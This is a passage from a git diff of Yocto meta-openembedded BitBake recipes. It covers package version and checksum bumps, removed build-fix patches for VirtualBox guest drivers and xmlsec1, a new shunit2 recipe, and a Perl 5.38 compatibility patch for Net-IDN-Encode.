+PACKAGECONFIG[manpages] = ""
+
+EXTRA_OEMAKE = "'BINDIR=${bindir}' 'MANDIR=${mandir}' 'PKG_CONFIG=${STAGING_BINDIR_NATIVE}/pkg-config'"
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+}
diff --git a/meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.0.bb b/meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.4.bb
index bc6fc0d8c6..960d0665dc 100644
--- a/meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.4.bb
@@ -7,9 +7,9 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=2c0f216b2120ffc367e20f2b56df51b3"
DEPENDS += "php"
-SRC_URI = "git://github.com/smarty-php/smarty.git;protocol=https;branch=master"
+SRC_URI = "git://github.com/smarty-php/smarty.git;protocol=https;branch=support/4.3"
-SRCREV = "c02e9e135ea719b91f457a0072748ded0e852e7d"
+SRCREV = "3931d8f54b8f7a4ffab538582d34d4397ba8daa5"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/tio/tio_2.6.bb b/meta-openembedded/meta-oe/recipes-support/tio/tio_2.7.bb
index faef290737..59c772b5d0 100644
--- a/meta-openembedded/meta-oe/recipes-support/tio/tio_2.6.bb
+++ b/meta-openembedded/meta-oe/recipes-support/tio/tio_2.7.bb
@@ -7,7 +7,7 @@ LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0e1a95b7892d3015ecd6d0016f601f2c"
SRC_URI = "git://github.com/tio/tio;protocol=https;branch=master"
-SRCREV = "88ef473362c5a1ff0dcd389fd5b1d4d6bf202472"
+SRCREV = "1c32555c2a4f26b60f94757656825fc6684d6892"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/toscoterm/toscoterm_git.bb b/meta-openembedded/meta-oe/recipes-support/toscoterm/toscoterm_git.bb
deleted file mode 100644
index b9f26051a1..0000000000
--- a/meta-openembedded/meta-oe/recipes-support/toscoterm/toscoterm_git.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "A very small and simple terminal emulator"
-SECTION = "x11/applications"
-DEPENDS = "vte9"
-
-LICENSE = "GPL-3.0-only"
-LIC_FILES_CHKSUM = "file://main.c;start_line=5;end_line=16;md5=9ae4bf20caf291afa94530026bd15229"
-
-# 0.2 version
-SRCREV = "8586d617aed19fc75f5ae1e07270752c1b2f9a30"
-SRC_URI = "git://github.com/OSSystems/toscoterm.git;branch=master;protocol=https"
-
-S = "${WORKDIR}/git"
-
-inherit features_check gitpkgv pkgconfig
-
-REQUIRED_DISTRO_FEATURES = "x11"
-
-do_compile() {
- oe_runmake \
- CC="${CC}" \
- CFLAGS="`pkg-config --cflags vte`${CFLAGS}" \
- LDFLAGS="`pkg-config --libs vte` ${LDFLAGS}"
-}
-
-do_install() {
- oe_runmake PREFIX="${prefix}" DESTDIR="${D}" install
-}
-
-RDEPENDS:${PN}:append:libc-glibc = " glibc-gconv-ibm437"
diff --git a/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers/0001-vbox_fb-fix-kernel-v6.5-build.patch b/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers/0001-vbox_fb-fix-kernel-v6.5-build.patch
deleted file mode 100644
index 01969d4a11..0000000000
--- a/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers/0001-vbox_fb-fix-kernel-v6.5-build.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 4cf34517b0c793405dca154cc70c9b5d1a566a8a Mon Sep 17 00:00:00 2001
-From: Bruce Ashfield <bruce.ashfield@gmail.com>
-Date: Fri, 29 Sep 2023 14:52:50 -0400
-Subject: [PATCH] vbox_fb: fix kernel v6.5 build
-
-When building against the 6.5 kernel (and kernel headers), the following
-build error is encountered:
-
- | vboxguestdrivers/7.0.10/vboxguestdrivers-7.0.10/vboxvideo/vbox_fb.c:194:24: error: 'drm_fb_helper_sys_fillrect' undeclared here (not in a function); did you mean 'drm_fb_helper_lastclose'?
- | 194 | .fb_fillrect = drm_fb_helper_sys_fillrect,
- | | ^~~~~~~~~~~~~~~~~~~~~~~~~~
- | | drm_fb_helper_lastclose
- | vboxguestdrivers/7.0.10/vboxguestdrivers-7.0.10/vboxvideo/vbox_fb.c:195:24: error: 'drm_fb_helper_sys_copyarea' undeclared here (not in a function); did you mean 'drm_fb_helper_set_par'?
- | 195 | .fb_copyarea = drm_fb_helper_sys_copyarea,
- | | ^~~~~~~~~~~~~~~~~~~~~~~~~~
- | | drm_fb_helper_set_par
- | vboxguestdrivers/7.0.10/vboxguestdrivers-7.0.10/vboxvideo/vbox_fb.c:196:25: error: 'drm_fb_helper_sys_imageblit' undeclared here (not in a function)
- | 196 | .fb_imageblit = drm_fb_helper_sys_imageblit,
- | | ^~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-We backport a patch from vbox-dev to fix the issue.
-
-Upstream-Status: Submitted [https://www.mail-archive.com/vbox-dev@virtualbox.org/msg10129.html]
-
-Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
----
- src/VBox/Additions/linux/drm/vbox_fb.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/VBox/Additions/linux/drm/vbox_fb.c b/src/VBox/Additions/linux/drm/vbox_fb.c
-index 2a8c79ab..d453533c 100644
---- a/src/VBox/Additions/linux/drm/vbox_fb.c
-+++ b/src/VBox/Additions/linux/drm/vbox_fb.c
-@@ -196,9 +196,13 @@ static struct fb_ops vboxfb_ops = {
- .owner = THIS_MODULE,
- .fb_check_var = drm_fb_helper_check_var,
- .fb_set_par = drm_fb_helper_set_par,
-+#if RTLNX_VER_MIN(6, 5, 0)
-+ FB_DEFAULT_SYS_OPS,
-+#else
- .fb_fillrect = drm_fb_helper_sys_fillrect,
- .fb_copyarea = drm_fb_helper_sys_copyarea,
- .fb_imageblit = drm_fb_helper_sys_imageblit,
-+#endif
- .fb_pan_display = drm_fb_helper_pan_display,
- .fb_blank = drm_fb_helper_blank,
- .fb_setcmap = drm_fb_helper_setcmap,
---
-2.34.1
-
diff --git a/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.10.bb b/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.12.bb
index 8e90138244..6b493de7cc 100644
--- a/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.10.bb
+++ b/meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.12.bb
@@ -13,10 +13,9 @@ VBOX_NAME = "VirtualBox-${PV}"
SRC_URI = "http://download.virtualbox.org/virtualbox/${PV}/${VBOX_NAME}.tar.bz2 \
file://Makefile.utils \
- file://0001-vbox_fb-fix-kernel-v6.5-build.patch \
"
-SRC_URI[sha256sum] = "0b1e6d8b7f87d017c7fae37f80586acff04f799ffc1d51e995954d6415dee371"
+SRC_URI[sha256sum] = "d76634c6ccf62503726a5aeae6c78a3462474c51a0ebe4942591ccc2d939890a"
S ?= "${WORKDIR}/vbox_module"
S:task-patch = "${WORKDIR}/${VBOX_NAME}"
@@ -24,7 +23,7 @@ S:task-patch = "${WORKDIR}/${VBOX_NAME}"
export VBOX_KBUILD_TARGET_ARCH="${ARCH}"
export VBOX_KBUILD_TARGET_ARCH:x86-64="amd64"
-EXTRA_OEMAKE += "KERN_DIR='${WORKDIR}/${KERNEL_VERSION}/build' KBUILD_VERBOSE=1"
+EXTRA_OEMAKE += "KERN_DIR='${WORKDIR}/${KERNEL_VERSION}/build' KBUILD_VERBOSE=1 CC='${CC} ${DEBUG_PREFIX_MAP} -fdebug-prefix-map=${STAGING_KERNEL_DIR}=${KERNEL_SRC_PATH} -fdebug-prefix-map=${STAGING_KERNEL_BUILDDIR}=${KERNEL_SRC_PATH}'"
# otherwise 5.2.22 builds just vboxguest
MAKE_TARGETS = "all"
diff --git a/meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.0.bb b/meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.2.bb
index f682cd9f03..ac75afb90e 100644
--- a/meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.2.bb
@@ -15,7 +15,7 @@ SRC_URI = "https://www.webkitgtk.org/releases/webkitgtk-${PV}.tar.xz \
file://0d3344e17d258106617b0e6d783d073b188a2548.patch \
file://no-musttail-arm.patch \
"
-SRC_URI[sha256sum] = "828f95935861fae583fb8f2ae58cf64c63c178ae2b7c2d6f73070813ad64ed1b"
+SRC_URI[sha256sum] = "5720aa3e8627f1b9f63252187d4df0f8233ae71d697b1796ebfbe5ca750bd118"
inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gi-docgen
diff --git a/meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.0.bb b/meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.1.bb
index b9173a9f3b..f8a07eb644 100644
--- a/meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.1.bb
@@ -31,13 +31,12 @@ SRC_URI = " \
"
S = "${WORKDIR}/git"
-SRCREV = "a4b27063222b16652e73b422e5448d75335199ef"
+SRCREV = "37a6f7c8b8e08b9861f05e172cd4e0d07a832c4d"
FILES:${PN} += "${libdir}/systemd ${datadir}/dbus-1"
EXTRA_OEMESON += " \
--cross-file=${WORKDIR}/meson-${PN}.cross \
- -Dflatpak-interfaces-dir=${STAGING_DATADIR}/dbus-1/interfaces \
-Ddbus-service-dir=${datadir}/dbus-1/services \
"
diff --git a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/0001-xmldsigverify-Include-xmlsec-parser.h.patch b/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/0001-xmldsigverify-Include-xmlsec-parser.h.patch
deleted file mode 100644
index 4347e925a3..0000000000
--- a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/0001-xmldsigverify-Include-xmlsec-parser.h.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 30e1afe60820c18c89cd10e9dcb7208ad5676d1d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 19 Jan 2023 15:06:35 -0800
-Subject: [PATCH] xmldsigverify: Include xmlsec/parser.h
-
-this ensures that xmlSecParserSetDefaultOptions definition is made
-available
-
-Fixes
-| xmldsigverify.c:275:5: error: call to undeclared function 'xmlSecParserSetDefaultOptions'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
-| xmlSecParserSetDefaultOptions(XML_PARSE_NOENT | XML_PARSE_NOCDATA |
-| ^
-
-Upstream-Status: Submitted [https://github.com/lsh123/xmlsec/pull/463]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- examples/xmldsigverify.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/examples/xmldsigverify.c b/examples/xmldsigverify.c
-index ed538c70..ff68120e 100644
---- a/examples/xmldsigverify.c
-+++ b/examples/xmldsigverify.c
-@@ -25,6 +25,7 @@
- #include <xmlsec/xmldsig.h>
- #include <xmlsec/crypto.h>
-
-+#include <xmlsec/parser.h>
- /* #define XMLDSIGVERIFY_DEFAULT_TRUSTED_CERTS_FOLDER "/etc/httpd/conf/ssl.crt" */
- #define XMLDSIGVERIFY_DEFAULT_TRUSTED_CERTS_FOLDER "/var/www/cgi-bin/keys-certs.def"
- #define XMLDSIGVERIFY_KEY_AND_CERTS_FOLDER "/var/www/cgi-bin/keys-certs"
-@@ -36,7 +37,7 @@ int verify_request(xmlSecKeysMngrPtr mngr);
- int url_decode(char *buf, size_t size);
-
- int
--main(int , char **) {
-+main() {
- xmlSecKeysMngrPtr mngr;
- #ifndef XMLSEC_NO_XSLT
- xsltSecurityPrefsPtr xsltSecPrefs = NULL;
---
-2.39.1
-
diff --git a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/run-ptest b/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/run-ptest
index a203c38f27..afd8c69853 100755
--- a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/run-ptest
+++ b/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/run-ptest
@@ -34,8 +34,8 @@ check_return verify-single-key
echo "---------------------------------------------------"
echo "Verifying a signature with keys manager..."
-./verify2 sign1-res.xml rsapub.pem
-./verify2 sign2-res.xml rsapub.pem
+./verify2 sign1-res.xml rsakey.pem
+./verify2 sign2-res.xml rsakey.pem
check_return verify-keys-manager
echo "---------------------------------------------------"
diff --git a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.2.37.bb b/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.3.2.bb
index a3da770943..ff5b6faeb4 100644
--- a/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.2.37.bb
+++ b/meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.3.2.bb
@@ -13,17 +13,16 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=352791d62092ea8104f085042de7f4d0"
SECTION = "libs"
SRC_URI = "http://www.aleksey.com/xmlsec/download/${BP}.tar.gz \
- file://fix-ltmain.sh.patch \
- file://change-finding-path-of-nss.patch \
- file://makefile-ptest.patch \
- file://xmlsec1-examples-allow-build-in-separate-dir.patch \
- file://0001-nss-nspr-fix-for-multilib.patch \
- file://run-ptest \
- file://ensure-search-path-non-host.patch \
- file://0001-xmldsigverify-Include-xmlsec-parser.h.patch \
- "
+ file://fix-ltmain.sh.patch \
+ file://change-finding-path-of-nss.patch \
+ file://makefile-ptest.patch \
+ file://xmlsec1-examples-allow-build-in-separate-dir.patch \
+ file://0001-nss-nspr-fix-for-multilib.patch \
+ file://run-ptest \
+ file://ensure-search-path-non-host.patch \
+ "
-SRC_URI[sha256sum] = "5f8dfbcb6d1e56bddd0b5ec2e00a3d0ca5342a9f57c24dffde5c796b2be2871c"
+SRC_URI[sha256sum] = "4003c56b3d356d21b1db7775318540fad6bfedaf5f117e8f7c010811219be3cf"
inherit autotools-brokensep ptest pkgconfig
diff --git a/meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.1.bb b/meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.2.bb
index 2961e449f1..27ebd63949 100644
--- a/meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.1.bb
+++ b/meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.2.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=daf6e68539f564601a5a5869c31e5242"
SRC_URI = "git://github.com/zchunk/zchunk.git;protocol=https;branch=main"
-SRCREV = "b462b1587f7d3aa782689430e83e96c737748f33"
+SRCREV = "bdd6d6fc150d53d89658bebbfa73a7bfd9a89cb4"
S = "${WORKDIR}/git"
DEPENDS = "zstd"
diff --git a/meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.7.bb b/meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.10.bb
index 1dd082fa8e..8512a0f30a 100644
--- a/meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.7.bb
+++ b/meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.10.bb
@@ -5,7 +5,7 @@ LICENSE = "BSL-1.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
SRC_URI = "git://github.com/catchorg/Catch2.git;branch=v2.x;protocol=https"
-SRCREV = "c4e3767e265808590986d5db6ca1b5532a7f3d13"
+SRCREV = "182c910b4b63ff587a3440e08f84f70497e49a81"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-test/shunit2/shunit2_2.1.8.bb b/meta-openembedded/meta-oe/recipes-test/shunit2/shunit2_2.1.8.bb
new file mode 100644
index 0000000000..683600f712
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-test/shunit2/shunit2_2.1.8.bb
@@ -0,0 +1,13 @@
+SUMMARY = "shUnit2 is a xUnit based unit test framework for Bourne based shell scripts"
+HOMEPAGE = "https://github.com/kward/shunit2"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e3fc50a88d0a364313df4b21ef20c29e"
+
+SRC_URI = " git://github.com/kward/shunit2.git;branch=master;protocol=https"
+SRCREV = "080159b303537888c5d41910b4d47a5002638e30"
+
+S = "${WORKDIR}/git"
+
+do_install() {
+ install -D -m 0755 ${S}/shunit2 ${D}${bindir}/shunit2
+}
diff --git a/meta-openembedded/meta-perl/conf/include/ptest-packagelists-meta-perl.inc b/meta-openembedded/meta-perl/conf/include/ptest-packagelists-meta-perl.inc
index e27981de7e..bb6796f812 100644
--- a/meta-openembedded/meta-perl/conf/include/ptest-packagelists-meta-perl.inc
+++ b/meta-openembedded/meta-perl/conf/include/ptest-packagelists-meta-perl.inc
@@ -17,6 +17,7 @@ PTESTS_FAST_META_PERL = "\
libstrictures-perl \
libterm-readkey-perl \
libtest-nowarnings-perl \
+ libtext-diff-perl \
"
PTESTS_SLOW_META_PERL = "\
diff --git a/meta-openembedded/meta-perl/recipes-core/packagegroups/packagegroup-meta-perl.bb b/meta-openembedded/meta-perl/recipes-core/packagegroups/packagegroup-meta-perl.bb
index 187424b449..2672ab584a 100644
--- a/meta-openembedded/meta-perl/recipes-core/packagegroups/packagegroup-meta-perl.bb
+++ b/meta-openembedded/meta-perl/recipes-core/packagegroups/packagegroup-meta-perl.bb
@@ -79,7 +79,6 @@ RDEPENDS:packagegroup-meta-perl = "\
libtest-nowarnings-perl \
libtest-warn-perl \
libunicode-linebreak-perl \
- po4a \
"
RDEPENDS:packagegroup-meta-perl-extended = "\
diff --git a/meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.57.bb b/meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.60.bb
index dea5f7a453..7e330c3704 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.57.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.60.bb
@@ -10,7 +10,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=415fc49abed2728f9480cd32c8d67beb"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/L/LE/LEEJO/CGI-${PV}.tar.gz"
-SRC_URI[sha256sum] = "4e6ca634fe0d5621bb55b0fce5c1d08e6f643c65eecdfffbb4b344fd51b963ac"
+SRC_URI[sha256sum] = "c2f6330bcc7cacda0c905f57ca0d31da1b19a2e4e5babede648c49b13803ee11"
S = "${WORKDIR}/CGI-${PV}"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.29.bb b/meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.30.bb
index 92d9bac0e4..ccdc1e0cb8 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.29.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.30.bb
@@ -15,6 +15,6 @@ S = "${WORKDIR}/Config-Tiny-${PV}"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/R/RS/RSAVAGE/Config-Tiny-${PV}.tgz"
-SRC_URI[sha256sum] = "3de79b0ea03a8d6a93e9d9128fe845fb556222b14699a4f6f0d5ca057ae3333b"
+SRC_URI[sha256sum] = "b2f7345619b3b8e636dd39ea010731c9dc2bfb8f022bcbd86ae6ad17866e110d"
inherit cpan
diff --git a/meta-openembedded/meta-perl/recipes-perl/libconfig/libconfig-autoconf-perl_0.319.bb b/meta-openembedded/meta-perl/recipes-perl/libconfig/libconfig-autoconf-perl_0.319.bb
index 5db0bb4269..5c3701f16b 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libconfig/libconfig-autoconf-perl_0.319.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libconfig/libconfig-autoconf-perl_0.319.bb
@@ -38,4 +38,4 @@ S = "${WORKDIR}/Config-AutoConf-${PV}"
inherit cpan ptest-perl
-BBCLASSEXTEND = "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.72.bb b/meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.74.bb
index 975034a07d..7e38da8836 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.72.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.74.bb
@@ -14,7 +14,7 @@ SRC_URI = "${CPAN_MIRROR}/authors/id/I/IS/ISHIGAKI/DBD-SQLite-${PV}.tar.gz \
file://sqlite-perl-test.pl \
"
-SRC_URI[sha256sum] = "5ca41e61eb52b52bd862a3088b912a75fe70910ac789b9a9983e0a449e94f551"
+SRC_URI[sha256sum] = "8994997d84b9feb4547795f78746c661fb72e3cb6a25dbdd789b731f5688a4dd"
UPSTREAM_CHECK_REGEX = "DBD\-SQLite\-(?P<pver>(\d+\.\d+))(?!_\d+).tar"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.19.bb b/meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.20.bb
index fd47543a7a..6a083420a9 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.19.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.20.bb
@@ -14,7 +14,7 @@ LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://META.json;beginline=8;endline=10;md5=b12e3be1e17a7e99ca4f429ff32c28b5"
SRC_URI = "${CPAN_MIRROR}/authors/id/D/DA/DANKOGAI/Encode-${PV}.tar.gz"
-SRC_URI[sha256sum] = "9163f848eef69e4d4cc8838397f0861fd9ea7ede001117dbd9694f8d95052ef5"
+SRC_URI[sha256sum] = "ced8fc06c54c05f227bfd9db38c1ed48a5a295db89f497d42b335afbf1f73517"
UPSTREAM_CHECK_REGEX = "Encode\-(?P<pver>(\d+\.\d+))(?!_\d+).tar"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.26.bb b/meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.27.bb
index 04a29fdc21..45b7726509 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.26.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.27.bb
@@ -12,7 +12,7 @@ LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=81;endline=84;md5=84c0390b90ea8c6702ce659b67bed699"
SRC_URI = "${CPAN_MIRROR}/authors/id/E/ET/ETJ/ExtUtils-CppGuess-${PV}.tar.gz"
-SRC_URI[sha256sum] = "c8b362b860172a4076acee00438f52b86464f2c500702cfcf7527811ff9a683e"
+SRC_URI[sha256sum] = "b2c7b581901054a32dfcea12536fda8626457ed0bfbc02600bd354bde7e2a9b4"
S = "${WORKDIR}/ExtUtils-CppGuess-${PV}"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.083.bb b/meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.084.bb
index 4d793a4e32..c4fcc5eb8f 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.083.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.084.bb
@@ -21,7 +21,7 @@ RDEPENDS:${PN} += "\
"
SRC_URI = "${CPAN_MIRROR}/authors/id/S/SU/SULLR/IO-Socket-SSL-${PV}.tar.gz"
-SRC_URI[sha256sum] = "904ef28765440a97d8a9a0df597f8c3d7f3cb0a053d1b082c10bed03bc802069"
+SRC_URI[sha256sum] = "a60d1e04e192363155329560498abd3412c3044295dae092d27fb6e445c71ce1"
S = "${WORKDIR}/IO-Socket-SSL-${PV}"
@@ -52,5 +52,3 @@ RDEPENDS:${PN}-ptest += "\
do_install_ptest:append () {
cp -r ${B}/t/certs ${D}${PTEST_PATH}
}
-
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.046.bb b/meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.047.bb
index 1e23d87a67..db765b88f1 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.046.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.047.bb
@@ -10,12 +10,12 @@ SECTION = "libs"
HOMEPAGE = "http://search.cpan.org/~leont/Module-Build-Tiny/"
LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=147a7b891d1584d3d33e478b1f2327c5"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2b9e8b5e2bd19fcc97ac84b78a271a64"
DEPENDS = "libextutils-config-perl-native libextutils-helpers-perl-native libextutils-installpaths-perl-native"
SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Module-Build-Tiny-${PV}.tar.gz"
-SRC_URI[sha256sum] = "be193027e2debb4c9926434aaf1aa46c9fc7bf4db83dcc347eb6e359ee878289"
+SRC_URI[sha256sum] = "71260e9421b93c33dd1b3e7d0cf15f759c0ca7c753fa840279ec3be70f8f8c9d"
S = "${WORKDIR}/Module-Build-Tiny-${PV}"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-dns-perl_1.40.bb b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-dns-perl_1.40.bb
index 65616136c3..e30125ab7b 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-dns-perl_1.40.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-dns-perl_1.40.bb
@@ -62,4 +62,3 @@ python __anonymous () {
d.getVar('TCLIBC'))
}
-BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode/Net-IDN-Encode-2.500-use_uvchr_to_utf8_flags_instead_of_uvuni_to_utf8_flags.patch b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode/Net-IDN-Encode-2.500-use_uvchr_to_utf8_flags_instead_of_uvuni_to_utf8_flags.patch
new file mode 100644
index 0000000000..f0e9010bf4
--- /dev/null
+++ b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode/Net-IDN-Encode-2.500-use_uvchr_to_utf8_flags_instead_of_uvuni_to_utf8_flags.patch
@@ -0,0 +1,36 @@
+Subject: [PATCH] use uvchr_to_utf8_flags instead of uvuni_to_utf8_flags (which is removed in perl 5.38.0)
+
+https://perldoc.perl.org/5.36.0/perlintern#uvuni_to_utf8_flags
+Signed-off-by: Shin Kojima <shin@kojima.org>
+Upstream-Status: Submitted [https://github.com/cfaerber/Net-IDN-Encode/pull/11]
+---
+ lib/Net/IDN/Punycode.xs | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/lib/Net/IDN/Punycode.xs b/lib/Net/IDN/Punycode.xs
+index 211ef9c..36530dd 100644
+--- a/lib/Net/IDN/Punycode.xs
++++ b/lib/Net/IDN/Punycode.xs
+@@ -24,6 +24,10 @@
+ #define utf8_to_uvchr_buf(in_p,in_e,u8) utf8_to_uvchr(in_p,u8);
+ #endif
+
++#ifndef uvchr_to_utf8_flags
++#define uvchr_to_utf8_flags(d, uv, flags) uvuni_to_utf8_flags(d, uv, flags);
++#endif
++
+ static char enc_digit[BASE] = {
+ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
+ 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
+@@ -253,7 +257,7 @@ decode_punycode(input)
+ if(skip_p < re_p) /* move succeeding chars */
+ Move(skip_p, skip_p + u8, re_p - skip_p, char);
+ re_p += u8;
+- uvuni_to_utf8_flags((U8*)skip_p, n, UNICODE_ALLOW_ANY);
++ uvchr_to_utf8_flags((U8*)skip_p, n, UNICODE_ALLOW_ANY);
+ }
+
+ if(!first) SvUTF8_on(RETVAL); /* UTF-8 chars have been inserted */
+--
+2.41.0
+
diff --git a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode_2.500.bb b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode_2.500.bb
index ce3b75b774..7f33fd2b1f 100644
--- a/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode_2.500.bb
+++ b/meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode_2.500.bb
@@ -7,7 +7,9 @@ SECTION = "libs"
LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
